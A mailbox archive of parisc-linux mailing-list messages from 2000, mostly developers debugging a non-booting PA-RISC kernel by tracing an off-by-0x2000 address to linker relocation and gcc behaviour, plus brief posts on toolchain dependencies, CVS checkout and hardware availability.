X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:42 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: rhirst@linuxcare.com  Wed Jul 12 17:35:38 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA30683
	for <parisc-linux@puffin.external.hp.com>; Wed, 12 Jul 2000 17:35:38 -0600
Original-Received: (qmail 19426 invoked by uid 15267); 12 Jul 2000 23:37:10 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19348 invoked from network); 12 Jul 2000 23:37:04 -0000
Original-Received: from user48-198.jakinternet.co.uk (HELO rhirst.linuxcare.com) (@212.41.48.198)
  by mailserv2.iuinc.com with SMTP; 12 Jul 2000 23:37:04 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id AC852B007; Thu, 13 Jul 2000 00:35:33 +0100 (BST)
X-Mailer: Mutt 1.0us
Xref: news.gmane.org gmane.linux.ports.parisc:7555

Current cvs kernel source doesn't boot.  Looks like a linker problem
or bits of the kernel loaded in the wrong place to me...

I added the following to the end of net/ipv4/devinet.c:

void check_devinet(void)
{
        printk("**  devinet_sysctl.devinet_root_dir = %p\n", devinet_sysctl.devinet_root_dir);
        printk("**  devinet_sysctl.devinet_root_dir[0].procname = %p\n", devinet_sysctl.devinet_root_dir[0].procname);
        printk("**  devinet_sysctl.devinet_root_dir[0].procname = %s\n", devinet_sysctl.devinet_root_dir[0].procname);
}


and then added a call to check_devinet() to init/main.c() just after
printk(linux_banner).  It should report procname as "net" from the table
in net/ipv4/devinet.c, but:

Linux version 2.3.99-pre8 (rhirst@rhirst.linuxcare.com) (gcc version 2.96.0614) #660 Thu Jul 13 00:21:59 BST 2000
**  devinet_sysctl.devinet_root_dir = c0279814
**  devinet_sysctl.devinet_root_dir[0].procname = c0143228
**  devinet_sysctl.devinet_root_dir[0].procname = Multiply assigned logical unit
pagetable_init


Someone else can pick it up now while I sleep ;-)

Richard



From - Thu Nov 08 21:12:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: DAVE_DEAK@HP-USA-om12.om.hp.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] When
Date: Thu, 13 Jul 2000 11:48:13 -0400
Lines: 7
Approved: news@gmane.org
Message-ID: <H00014d214d524f4@MHS>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII; name="BDY.TXT"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619002 1442 80.91.229.3 (22 Nov 2014 01:16:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:42 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: DAVE_DEAK@HP-USA-om12.om.hp.com  Thu Jul 13 09:46:43 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA22328
	for <parisc-linux@puffin.external.hp.com>; Thu, 13 Jul 2000 09:46:42 -0600
Original-Received: (qmail 19741 invoked by uid 15267); 13 Jul 2000 15:48:16 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19716 invoked from network); 13 Jul 2000 15:48:15 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 13 Jul 2000 15:48:15 -0000
Original-Received: from i3125om2.atl.hp.com (i3125om2.atl.hp.com [15.45.88.71])
	by atlrel1.hp.com (Postfix) with ESMTP id AADB6105
	for <parisc-linux@thepuffingroup.com>; Thu, 13 Jul 2000 11:48:13 -0400 (EDT)
Original-Received: from localhost (root@localhost)
	by i3125om2.atl.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit6.0.6 OpenMail) with SMTP id LAA25594
	for parisc-linux@thepuffingroup.com; Thu, 13 Jul 2000 11:48:26 -0400 (EDT)
X-OpenMail-Hops: 1
Content-Disposition: inline; filename="BDY.TXT"
Xref: news.gmane.org gmane.linux.ports.parisc:7556

Hello,

	I am looking for information on the availability of the PA-RISC bits for 
Linux. We have heavy interest in the Financial District at this time.

Dave Deak


From - Thu Nov 08 21:12:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PALO changes
Date: Thu, 13 Jul 2000 10:49:50 -0400
Lines: 14
Approved: news@gmane.org
Message-ID: <20000713104950.F3593@vodka.thepuffingroup.com>
References: <E13CTz3-0003r4-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619003 1444 80.91.229.3 (22 Nov 2014 01:16:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:43 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Paul Bame <bame@noam.fc.hp.com>
Original-X-From: willy@thepuffingroup.com  Thu Jul 13 09:53:39 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA22676
	for <parisc-linux@puffin.external.hp.com>; Thu, 13 Jul 2000 09:53:39 -0600
Original-Received: (qmail 26869 invoked by uid 15267); 13 Jul 2000 15:55:13 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26853 invoked from network); 13 Jul 2000 15:55:13 -0000
Original-Received: from ottawa.linuxcare.com (HELO vodka.thepuffingroup.com) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 13 Jul 2000 15:55:13 -0000
Original-Received: (from willy@localhost)
	by vodka.thepuffingroup.com (8.9.3/8.9.3) id KAA11856;
	Thu, 13 Jul 2000 10:49:50 -0400
X-Mailer: Mutt 0.95.4us
In-Reply-To: <E13CTz3-0003r4-00@noam.fc.hp.com>; from Paul Bame on Wed, Jul 12, 2000 at 03:23:57PM -0600
Xref: news.gmane.org gmane.linux.ports.parisc:7557

On Wed, Jul 12, 2000 at 03:23:57PM -0600, Paul Bame wrote:
>     PALO ***DEPENDS UPON*** a tool chain which can produce user-space
>     executables.  The "how to build a kernel" recipe does not say how
>     to produce such a tool chain, so if the recipe's tool chain is
>     all you have DON'T UPDATE PALO.
>     Note the kernel will soon depend on this too (when we get rid of
>     our kernel private copy of libmilli.a).

that change went into CVS sometime this week... I haven't heard anyone
cry yet.

-- 
The Sex Pistols were revolutionaries.  The Bay City Rollers weren't.


From - Thu Nov 08 21:12:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problem with malloc(3)/sbrk(2)/brk(2)/something
Date: 13 Jul 2000 12:28:48 -0400
Organization: Linuxcare, Inc.
Lines: 17
Approved: news@gmane.org
Message-ID: <877laq2dvj.fsf@linuxcare.com>
References: <8766qb86nw.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619003 1445 80.91.229.3 (22 Nov 2014 01:16:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:43 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: dhd@linuxcare.com  Thu Jul 13 10:28:50 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA23865
	for <parisc-linux@puffin.external.hp.com>; Thu, 13 Jul 2000 10:28:45 -0600
Original-Received: (qmail 31900 invoked by uid 15267); 13 Jul 2000 16:30:17 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31888 invoked from network); 13 Jul 2000 16:30:17 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 13 Jul 2000 16:30:17 -0000
Original-Received: from dhd by localhost with local (Exim 3.12 #1 (Debian))
	id 13Clqy-0004IK-00
	for <parisc-linux@thepuffingroup.com>; Thu, 13 Jul 2000 12:28:48 -0400
In-Reply-To: David Huggins-Daines's message of "12 Jul 2000 15:55:47 -0400"
Original-Lines: 16
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:7558

David Huggins-Daines <dhd@linuxcare.com> writes:

> userland.  Basically I've found a minimal testcase for the problem,
> which is that it's not possible to malloc() across a page boundary.

Oops, sorry, this did not seem to be the actual problem.  It seems
that I may have been running a kernel that was not %r8-clean, or
something similar, because recompiling malloc.c with -ffixed-r8 made
these test cases work :(

However config.guess still doesn't work :( Once I get a working kernel
again I suppose I'll look at that.

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:12:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problem with malloc(3)/sbrk(2)/brk(2)/something
Date: 13 Jul 2000 12:48:28 -0400
Organization: The Debian Project
Lines: 10
Approved: news@gmane.org
Message-ID: <873dle2cyr.fsf@linuxcare.com>
References: <8766qb86nw.fsf@linuxcare.com> <877laq2dvj.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619003 1448 80.91.229.3 (22 Nov 2014 01:16:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:43 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: dhd@linuxcare.com  Thu Jul 13 10:48:37 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA24519
	for <parisc-linux@puffin.external.hp.com>; Thu, 13 Jul 2000 10:48:35 -0600
Original-Received: (qmail 21203 invoked by uid 15267); 13 Jul 2000 16:49:58 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21194 invoked from network); 13 Jul 2000 16:49:57 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 13 Jul 2000 16:49:57 -0000
Original-Received: from dhd by localhost with local (Exim 3.12 #1 (Debian))
	id 13CmA0-0004Pp-00
	for <parisc-linux@thepuffingroup.com>; Thu, 13 Jul 2000 12:48:28 -0400
In-Reply-To: David Huggins-Daines's message of "13 Jul 2000 12:28:48 -0400"
Original-Lines: 9
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.6
Original-Sender: David Huggins-Daines <dhd@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7559

David Huggins-Daines <dhd@linuxcare.com> writes:

> However config.guess still doesn't work :( Once I get a working kernel
> again I suppose I'll look at that.

Okay, fixed.  See parisc-linux-cvs and rebuild your kernels :-)

-- 
David Huggins-Daines - dhd@debian.org


From - Thu Nov 08 21:12:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@noam.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Non-bootable kernel problems
Date: Thu, 13 Jul 2000 11:14:14 -0600
Lines: 78
Approved: news@gmane.org
Message-ID: <E13CmYw-00077l-00@noam.fc.hp.com>
References: <20000713003533.Y9568@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619003 1451 80.91.229.3 (22 Nov 2014 01:16:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:43 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alan Modra <amodra@puffin.external.hp.com>
Original-X-From: bame@noam.fc.hp.com  Thu Jul 13 11:11:48 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA25142
	for <parisc-linux@puffin.external.hp.com>; Thu, 13 Jul 2000 11:11:48 -0600
Original-Received: (qmail 14254 invoked by uid 15267); 13 Jul 2000 17:13:22 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14237 invoked from network); 13 Jul 2000 17:13:22 -0000
Original-Received: from cosrel1.hp.com (156.153.255.170)
  by mailserv2.iuinc.com with SMTP; 13 Jul 2000 17:13:22 -0000
Original-Received: from hpfcla.fc.hp.com (hpfcla.fc.hp.com [15.254.48.2])
	by cosrel1.hp.com (Postfix) with ESMTP id 7CAD92E9
	for <parisc-linux@thepuffingroup.com>; Thu, 13 Jul 2000 11:13:18 -0600 (MDT)
Original-Received: from noam.fc.hp.com (mail@noam.fc.hp.com [15.1.52.69])
	by hpfcla.fc.hp.com (8.9.1/8.9.3 SMKit7.01) with ESMTP id LAA07626;
	Thu, 13 Jul 2000 11:13:13 -0600 (MDT)
Original-Received: from localhost
	([127.0.0.1] helo=noam.fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 13CmYw-00077l-00; Thu, 13 Jul 2000 11:14:14 -0600
In-Reply-To: Your message of "Thu, 13 Jul 2000 00:35:33 BST."
             <20000713003533.Y9568@linuxcare.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:7560


More info on this one -- and yes it's the old problem come back to
haunt us.

Witness two functions:

    static void * a2(void) {
	return (void *)&devinet_sysctl.devinet_root_dir;
    }
    static void * a3(void) {
	return (void *)&devinet_sysctl;
    }

And their return values:

    a3 c028b22c a2 c0289574

a2 should be c028b574 -- it's off by 0x2000 as Richard noted earlier.
a3() is OK and a2() is broken.

Here's disassembly from vmlinux via objdump:

    c021b27c <a2>:
    c021b27c:       2b 6f 00 00     addil 1e000,dp,%r1
    c021b280:       e8 40 c0 00     bv r0(rp)
    c021b284:       34 3c 2a e9     ldo -a8c(r1),ret0

    c021b288 <a3>:
    c021b288:       2b 6f 00 00     addil 1e000,dp,%r1
    c021b28c:       e8 40 c0 00     bv r0(rp)
    c021b290:       34 3c 24 58     ldo 122c(r1),ret0

The two ldo instructions should be showing a difference of 0x348 -- the
ofset of the member within the struct which I calculated separately.  As
shown, the offsets differ by 0x2348.  This code is hosed.

The object file says:

    00000000 <a2>:
       0:   2b 60 00 00     addil 0,dp,%r1
			    0: R_PARISC_DPREL21L    .data+0x78
       4:   e8 40 c0 00     bv r0(rp)
       8:   34 3c 00 00     ldo 0(r1),ret0
			    8: R_PARISC_DPREL14R    .data+0x3c0
    Disassembly of section .text.a3:

    00000000 <a3>:
       0:   2b 60 00 00     addil 0,dp,%r1
			    0: R_PARISC_DPREL21L    .data+0x78
       4:   e8 40 c0 00     bv r0(rp)
       8:   34 3c 00 00     ldo 0(r1),ret0
			    8: R_PARISC_DPREL14R    .data+0x78

I think this code is right, because 0x3c0-0x78 is 0x348.  I think this
makes this a linker problem.  The off-by-0x2000 is suspicious
since the ldo offset is 14 bits and 2^14 = 0x2000.

For completeness here's what came out of the compiler, which looks cool
to me:

    a1:
	    .PROC
	    .CALLINFO FRAME=0,NO_CALLS
	    .ENTRY
	    addil LR'devinet_sysctl-$global$,%r27
	    bv %r0(%r2)
	    ldw RR'devinet_sysctl-$global$+844(%r1),%r28
	    .EXIT
	    .PROCEND

    a2:
	    .PROC
	    .CALLINFO FRAME=0,NO_CALLS
	    .ENTRY
	    addil LR'devinet_sysctl-$global$,%r27
	    bv %r0(%r2)
	    ldo RR'devinet_sysctl-$global$+840(%r1),%r28


From - Thu Nov 08 21:12:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Shaver <shaver@netscape.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [hppa-linux] the cvs thingy
Date: Thu, 25 Mar 1999 08:53:06 -0500
Organization: mozilla.org diplomatic corps
Lines: 12
Approved: news@gmane.org
Message-ID: <36FA3FC2.D82F6BCE@netscape.com>
References: <199903242116.NAA25002@gatekeeper.equator.com> <36F98997.130DE72A@america.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619004 1455 80.91.229.3 (22 Nov 2014 01:16:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:44 +0000 (UTC)
To: hppa-linux@thepuffingroup.com
Original-X-From: shaver@netscape.com  Wed Mar 24 19:56:37 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id TAA06303
	for <hppa-linux@sod.res.cmu.edu>; Wed, 24 Mar 1999 19:56:36 -0500
Original-Received: (qmail 13916 invoked by uid 15267); 25 Mar 1999 00:55:22 -0000
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Original-Received: (qmail 13909 invoked from network); 25 Mar 1999 00:55:20 -0000
Original-Received: from h-205-217-237-46.netscape.com (HELO netscape.com) (205.217.237.46)
  by mailserv2.iuinc.com with SMTP; 25 Mar 1999 00:55:20 -0000
Original-Received: from tintin.mcom.com (tintin.mcom.com [205.217.233.42])
	by netscape.com (8.8.5/8.8.5) with ESMTP id QAA14773
	for <hppa-linux@thepuffingroup.com>; Wed, 24 Mar 1999 16:55:48 -0800 (PST)
Original-Received: from netscape.com ([205.217.243.139]) by
          tintin.mcom.com (Netscape Messaging Server 4.03) with ESMTP id
          F94L9600.B78 for <hppa-linux@thepuffingroup.com>; Wed, 24 Mar
          1999 16:55:54 -0800 
Original-Sender: shaver@netscape.com (Mike Shaver)
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.2-ac3 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7561

Ed June wrote:
> $ cvs -z3 checkout hppa-linux
> cvs server: cannot find module `hppa-linux' - ignored
> cvs [checkout aborted]: cannot expand modules

cvs -z3 co linux

Mike

-- 
9805.70 8095.76


From - Thu Nov 08 21:12:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Gyula Matics <mgyula@pi.satimex.tvnet.hu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] When
Date: Thu, 13 Jul 2000 20:09:02 +0200
Lines: 13
Approved: news@gmane.org
Message-ID: <20000713200902.A1534@pi.satimex.tvnet.hu>
References: <H00014d214d524f4@MHS>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619004 1459 80.91.229.3 (22 Nov 2014 01:16:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:44 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: mgyula@pi.satimex.tvnet.hu  Thu Jul 13 12:07:39 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA26046
	for <parisc-linux@puffin.external.hp.com>; Thu, 13 Jul 2000 12:07:36 -0600
Original-Received: (qmail 3988 invoked by uid 15267); 13 Jul 2000 18:09:08 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3965 invoked from network); 13 Jul 2000 18:09:07 -0000
Original-Received: from pi.satimex.tvnet.hu (195.38.97.160)
  by mailserv2.iuinc.com with SMTP; 13 Jul 2000 18:09:07 -0000
Original-Received: by pi.satimex.tvnet.hu (Postfix, from userid 1000)
	id 28D2B2F1C; Thu, 13 Jul 2000 20:09:03 +0200 (CEST)
User-Agent: Mutt/1.0.1i
In-Reply-To: <H00014d214d524f4@MHS>; from DAVE_DEAK@HP-USA-om12.om.hp.com on Thu, Jul 13, 2000 at 11:48:13AM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:7562


...did you noticed that the A[45]00 product brief lists Linux as a
supported OS? (you can find it at www.hp.com/go/aclass)

I had a worrying sales type coming to my desk yesterday asking more or
less the same question that Dave did. There are people trying to order
A class servers with Linux preinstalled.

Told him to come back in October. That's about right for the first
somewhat useable Debian release, isn't it?

Gyula


From - Thu Nov 08 21:12:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Non-bootable kernel problems
Date: 13 Jul 2000 14:46:11 -0400
Organization: Linuxcare, Inc.
Lines: 84
Approved: news@gmane.org
Message-ID: <87ya3527ik.fsf@linuxcare.com>
References: <20000713003533.Y9568@linuxcare.com> <E13CmYw-00077l-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619004 1466 80.91.229.3 (22 Nov 2014 01:16:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:44 +0000 (UTC)
Cc: Alan Modra <amodra@puffin.external.hp.com>,
        parisc-linux@thepuffingroup.com
To: Paul Bame <bame@noam.fc.hp.com>
Original-X-From: dhd@linuxcare.com  Thu Jul 13 12:59:12 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA26807
	for <parisc-linux@puffin.external.hp.com>; Thu, 13 Jul 2000 12:59:12 -0600
Original-Received: (qmail 21348 invoked by uid 15267); 13 Jul 2000 19:00:47 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21335 invoked from network); 13 Jul 2000 19:00:46 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 13 Jul 2000 19:00:46 -0000
Original-Received: from dhd by localhost with local (Exim 3.12 #1 (Debian))
	id 13Cnzw-0005ik-00; Thu, 13 Jul 2000 14:46:12 -0400
In-Reply-To: Paul Bame's message of "Thu, 13 Jul 2000 11:14:14 -0600"
Original-Lines: 83
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:7563

Paul Bame <bame@noam.fc.hp.com> writes:

> I think this code is right, because 0x3c0-0x78 is 0x348.  I think this
> makes this a linker problem.  The off-by-0x2000 is suspicious
> since the ldo offset is 14 bits and 2^14 = 0x2000.

It looks like binutils is incorrectly treating those fields as
unsigned, or has an off by one error, or something similar.  The
reason why the version with the extra check and panic() makes it work
is because this makes gcc cleverly load the offset in the struct in
two steps.  note:

devinet.c.1.3:

#warning Take this test out when GCC is fixed
	if ((unsigned)&devinet_sysctl.devinet_root_dir <= (unsigned)&devinet_sysctl.devinet_vars) {
		panic(__FILE__ ": probable gcc bug");
	}
	devinet_sysctl.sysctl_header =
		register_sysctl_table(devinet_sysctl.devinet_root_dir, 0);

devinet.s.1.3:

	addil LR'devinet_sysctl-$global$,%r27
	ldo RR'devinet_sysctl-$global$+4(%r1),%r3  ; &devinet_sysctl.devinet_vars (offset 4)
	ldo 836(%r3),%r19                          ; &devinet_sysctl.devinet_root_dir (offset 840)
	comb,>> %r19,%r3,.L2613
	copy %r19,%r26                             ; arg 0 of register_sysctl_table
	ldil LR'.LC44,%r26
	.CALL ARGW0=GR
	bl panic,%r2
	ldo RR'.LC44(%r26),%r26
.L2613:
	.CALL ARGW0=GR,ARGW1=GR
	bl register_sysctl_table,%r2
	nop

relevant bits of hppa-linux-objdump -S vmlinux for 1.3:

c02ae538:       2b 6f 00 00     addil 1e000,dp,%r1
c02ae53c:       34 23 24 e0     ldo 1270(r1),r3
c02ae540:       34 73 06 88     ldo 344(r3),r19
c02ae544:       88 73 a0 18     cmpb,>> r19,r3,c02ae558 <.L2613>
c02ae548:       08 13 02 5a     copy r19,r26

Note:

$ printf "%x\n" $((0x1270+0x344))
15b4

devinet.c.1.4:

	devinet_sysctl.sysctl_header =
		register_sysctl_table(devinet_sysctl.devinet_root_dir, 0);

devinet.s.1.4:

	addil LR'devinet_sysctl-$global$,%r27
	ldi 0,%r25
	ldo RR'devinet_sysctl-$global$+840(%r1),%r4
	.CALL ARGW0=GR,ARGW1=GR
	bl register_sysctl_table,%r2
	copy %r4,%r26

relevant bits of hppa-linux-objdump -S vmlinux for 1.4:

c02ae534:       2b 6f 00 00     addil 1e000,dp,%r1
c02ae538:       34 19 00 00     ldi 0,r25
c02ae53c:       34 24 2b 69     ldo -a4c(r1),r4
c02ae540:       e8 5f 08 15     b,l c02ad950 <.Lfe1+0x118>,rp
c02ae544:       08 04 02 5a     copy r4,r26

Note:
$ printf "%x\n" -0xa4c
fffff5b4

(and of course, the low 13 bits of that are 0x15b4)

I'm looking at the relevant binutils code right now.

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:12:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Non-bootable kernel problems
Date: 13 Jul 2000 17:14:55 -0400
Organization: Linuxcare, Inc.
Lines: 23
Approved: news@gmane.org
Message-ID: <87sntd20mo.fsf@linuxcare.com>
References: <20000713003533.Y9568@linuxcare.com> <E13CmYw-00077l-00@noam.fc.hp.com> <87ya3527ik.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619005 1471 80.91.229.3 (22 Nov 2014 01:16:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:45 +0000 (UTC)
Cc: Alan Modra <amodra@puffin.external.hp.com>,
        parisc-linux@thepuffingroup.com
To: Paul Bame <bame@noam.fc.hp.com>
Original-X-From: dhd@linuxcare.com  Thu Jul 13 15:19:58 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA28144
	for <parisc-linux@puffin.external.hp.com>; Thu, 13 Jul 2000 15:19:57 -0600
Original-Received: (qmail 2346 invoked by uid 15267); 13 Jul 2000 21:21:32 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2338 invoked from network); 13 Jul 2000 21:21:32 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 13 Jul 2000 21:21:32 -0000
Original-Received: from dhd by localhost with local (Exim 3.12 #1 (Debian))
	id 13CqJr-00018l-00; Thu, 13 Jul 2000 17:14:55 -0400
In-Reply-To: David Huggins-Daines's message of "13 Jul 2000 14:46:11 -0400"
Original-Lines: 22
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:7564

David Huggins-Daines <dhd@linuxcare.com> writes:

> It looks like binutils is incorrectly treating those fields as
> unsigned, or has an off by one error, or something similar.  The

No.  My mistake.  binutils is doing the right thing, the problem is
that, due to the way the LR' and RR' field selectors work, there is a
bad interaction between cases in which the DPREL21L and DPREL14R (or
any 21L and 14R relocations actually) are "split" like this, and ld
-r, which tends to increase the addends to a point where LR' and RR'
have different effects (LR' expects RR' to be positive, but it isn't).
Then during final relocation, the wrong thing happens.

So it would appear that this is a problem with GCC, but I'm not really
sure.

I'll have a better explanation once I work through the failure modes
and come up with a good short testcase.

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:12:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Non-bootable kernel problems
Date: 13 Jul 2000 19:45:27 -0400
Organization: Linuxcare, Inc.
Lines: 201
Approved: news@gmane.org
Message-ID: <871z0x1tns.fsf@linuxcare.com>
